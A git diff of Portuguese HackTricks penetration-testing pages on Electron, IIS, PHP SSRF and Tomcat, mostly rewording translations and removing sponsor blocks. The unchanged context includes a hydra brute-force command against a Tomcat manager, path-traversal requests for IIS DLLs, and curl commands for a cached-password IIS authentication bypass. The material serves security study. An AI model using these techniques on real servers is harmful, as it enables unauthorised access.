```javascript
@ -208,7 +195,7 @@ window.addEventListener('click', (e) => {
Para mais informações sobre estes exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **a execução remota de código do lado do cliente (RCE)** direcionada a scripts de preload ou ao código nativo do Electron a partir do processo principal é efetivamente prevenida com essas configurações em vigor.
Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **execução remota de código do lado do cliente (RCE)** direcionando scripts de preload ou o código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações em vigor.
Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, que são cruciais para a segurança e funcionalidade do aplicativo:
```javascript
@ -223,7 +210,7 @@ Esses ouvintes são **substituídos pelo aplicativo de desktop** para implementa
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>)
As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Os sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
**Exemplos de exploits de protocolos do Windows incluem:**
```html
@ -278,10 +265,10 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## **Ferramentas**
* [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e padrões de segurança inadequados em aplicações baseadas em Electron.
* [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e anti-padrões de segurança em aplicações baseadas em Electron.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para VS Code para aplicações Electron que utiliza Electronegativity.
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis
* [**Electro.ng**](https://electro.ng/): Você precisa comprá-lo
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis.
* [**Electro.ng**](https://electro.ng/): Você precisa comprá-lo.
## Laboratórios
@ -320,25 +307,13 @@ npm start
* Mais pesquisas e artigos sobre segurança do Electron em [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,20 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
Teste extensões de arquivos executáveis:
* asp
@ -36,9 +22,9 @@ Teste extensões de arquivos executáveis:
* config
* php
## Divulgação de Endereço IP Interno
## Divulgação de endereço IP interno
Em qualquer servidor IIS onde você obtiver um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e, dentro da resposta, o cabeçalho Location pode apontar para o endereço IP interno:
Em qualquer servidor IIS onde você obtiver um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta o cabeçalho Location pode apontar para o endereço IP interno:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
@ -84,14 +70,14 @@ Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a possuem.
Verifique a descrição completa em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
{% hint style="info" %}
Como resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão os executáveis** e baixá-los.\
Como resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão localizados os executáveis** e baixá-los.\
A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\
Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.\\
{% endhint %}
Em **aplicações .Net MVC**, o arquivo **web.config** desempenha um papel crucial ao especificar cada arquivo binário do qual a aplicação depende através de tags XML **"assemblyIdentity"**.
### **Exploring Binary Files**
### **Explorando Arquivos Binários**
Um exemplo de acesso ao arquivo **web.config** é mostrado abaixo:
```markup
@ -103,7 +89,7 @@ Esta solicitação revela várias configurações e dependências, como:
* **EntityFramework** versão
* **AppSettings** para páginas da web, validação de cliente e JavaScript
* Configurações de **System.web** para autenticação e tempo de execução
* Configurações de módulos **System.webServer**
* Configurações de módulos de **System.webServer**
* Vínculos de assembly de **Runtime** para várias bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
Essas configurações indicam que certos arquivos, como **/bin/WebGrease.dll**, estão localizados na pasta /bin da aplicação.
@ -126,9 +112,9 @@ A menção a um namespace personalizado sugere a presença de uma DLL chamada "*
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Isso sugere a presença de outras DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
Isso sugere a presença de outros DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
Em um cenário onde uma DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outras DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outra DLL, **WebApplication1.AdditionalFeatures.dll**.
Em um cenário onde um DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outros DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outro DLL, **WebApplication1.AdditionalFeatures.dll**.
### Arquivos comuns
@ -209,7 +195,7 @@ C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Error
## HTTPAPI 2.0 Erro 404
Se você ver um erro como o seguinte:
@ -223,7 +209,7 @@ Para acessar a página da web, você pode dar uma olhada no **Certificado SSL**
### Vulnerabilidade/Recurso do caractere til “\~” do Microsoft IIS Divulgação de Nome de Arquivo/Pasta Curto
Você pode tentar **enumerar pastas e arquivos** dentro de cada pasta descoberta (mesmo que exija Autenticação Básica) usando esta **técnica**.\
A principal limitação desta técnica, se o servidor for vulnerável, é que **ela pode encontrar apenas até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos.
A principal limitação desta técnica, se o servidor for vulnerável, é que **ela pode encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos.
Você pode usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para testar essa vulnerabilidade:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -260,7 +246,7 @@ ASPXAUTH usa as seguintes informações:
* **`decryptionIV`** (string): vetor de inicialização codificado em hex (padrões para um vetor de zeros).
* **`decryptionKey`** (string): chave codificada em hex para usar na descriptografia.
No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você conseguir encontrar uma web usando a **mesma plataforma** que está usando o cookie ASPXAUTH e você **criar um usuário com o e-mail do usuário que deseja impersonar** no servidor sob ataque, você pode ser capaz de **usar o cookie do segundo servidor no primeiro** e impersonar o usuário.\
No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você conseguir encontrar uma web usando a **mesma plataforma** que está usando o cookie ASPXAUTH e você **criar um usuário com o e-mail do usuário que deseja impersonar** no servidor sob ataque, você pode ser capaz de us**ar o cookie do segundo servidor no primeiro** e impersonar o usuário.\
Esse ataque funcionou neste [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Bypass de Autenticação do IIS com senhas em cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Supporte o HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,28 +1,20 @@
# PHP SSRF
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Funções SSRF PHP
Algumas funções como **file\_get\_contents(), fopen(), file(), md5\_file()** aceitam URLs como entrada que elas seguirão, tornando **possíveis vulnerabilidades SSRF** se o usuário puder controlar os dados:
@ -34,7 +26,7 @@ md5_file("http://127.0.0.1:8081");
```
### Wordpress SSRF via DNS Rebinding
Como [**explicado neste post do blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), até mesmo a função do Wordpress **`wp_safe_remote_get`** é vulnerável a DNS rebinding, tornando-a potencialmente vulnerável a ataques SSRF. A principal validação que ela chama é **wp\_http\_validate\_url**, que verifica se o protocolo é `http://` ou `https://` e se a porta é uma das **80**, **443** e **8080**, mas é **vulnerável a DNS rebinding**.
Como [**explicado neste post do blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), até mesmo a função do Wordpress **`wp_safe_remote_get`** é vulnerável a DNS rebinding, tornando-a potencialmente vulnerável a ataques SSRF. A principal validação que ela chama é **wp\_http\_validate\_url**, que verifica se o protocolo é `http://` ou `https://` e se a porta é uma das **80**, **443** ou **8080**, mas é **vulnerável a DNS rebinding**.
Outras funções vulneráveis de acordo com o post são:
@ -83,23 +75,17 @@ $options = array(
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Supporte o HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Discovery
* Geralmente roda na **porta 8080**
@ -32,7 +24,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Enumeration
### **Identificação de Versão**
### **Version Identification**
Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado:
```bash
@ -65,11 +57,11 @@ Essas credenciais podem ser testadas usando:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Outro diretório notável é **`/manager/status`**, que exibe a versão do Tomcat e do sistema operacional, ajudando na identificação de vulnerabilidades.
Outro diretório notável é **`/manager/status`**, que exibe a versão do Tomcat e do SO, ajudando na identificação de vulnerabilidades.
### **Ataque de Força Bruta**
Para tentar um ataque de força bruta no diretório do gerenciador, pode-se usar:
Para tentar um ataque de força bruta no diretório de gerenciamento, pode-se usar:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
@ -83,7 +75,7 @@ Acessar `/auth.jsp` pode revelar a senha em um backtrace sob circunstâncias fav
### **Codificação de URL Dupla**
A vulnerabilidade CVE-2007-1860 no `mod_jk` permite a codificação de URL dupla para travessia de caminho, possibilitando acesso não autorizado à interface de gerenciamento através de uma URL especialmente criada.
A vulnerabilidade CVE-2007-1860 no `mod_jk` permite a codificação de URL dupla para travessia de caminho, possibilitando acesso não autorizado à interface de gerenciamento através de uma URL especialmente elaborada.
Para acessar a web de gerenciamento do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html`
@ -114,7 +106,7 @@ As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo que são su
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Exploração de Travessia de Caminho**
### **Exploit de Travessia de Caminho**
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode ganhar acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -255,7 +241,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -10,19 +10,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Discovery
* Geralmente roda na **porta 8080**
@ -32,7 +24,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
## Enumeration
### **Identificação da Versão**
### **Identificação de Versão**
Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado:
```bash
@ -65,11 +57,11 @@ Essas credenciais podem ser testadas usando:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Outro diretório notável é **`/manager/status`**, que exibe a versão do Tomcat e do SO, ajudando na identificação de vulnerabilidades.
Outro diretório notável é **`/manager/status`**, que exibe a versão do Tomcat e do sistema operacional, ajudando na identificação de vulnerabilidades.
### **Ataque de Força Bruta**
Para tentar um ataque de força bruta no diretório de gerenciamento, pode-se usar:
Para tentar um ataque de força bruta no diretório do gerenciador, pode-se usar:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -255,7 +242,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -6,7 +6,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,17 +15,9 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
### Evite executar como root
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Evite rodar como root
Para não rodar o Tomcat como root, uma configuração muito comum é definir um servidor Apache na porta 80/443 e, se o caminho solicitado corresponder a uma regexp, a solicitação é enviada para o Tomcat rodando em uma porta diferente.
Para não executar o Tomcat como root, uma configuração muito comum é definir um servidor Apache na porta 80/443 e, se o caminho solicitado corresponder a uma regexp, a solicitação é enviada para o Tomcat executando em uma porta diferente.
### Estrutura Padrão
```
@ -54,7 +46,7 @@ Para não rodar o Tomcat como root, uma configuração muito comum é definir um
```
* A pasta `bin` armazena scripts e binários necessários para iniciar e executar um servidor Tomcat.
* A pasta `conf` armazena vários arquivos de configuração usados pelo Tomcat.
* O arquivo `tomcat-users.xml` armazena credenciais de usuários e seus papéis atribuídos.
* O arquivo `tomcat-users.xml` armazena credenciais de usuário e seus papéis atribuídos.
* A pasta `lib` contém os vários arquivos JAR necessários para o funcionamento correto do Tomcat.
* As pastas `logs` e `temp` armazenam arquivos de log temporários.
* A pasta `webapps` é a raiz web padrão do Tomcat e hospeda todas as aplicações. A pasta `work` atua como um cache e é usada para armazenar dados durante a execução.
@ -152,23 +144,18 @@ O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`,
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
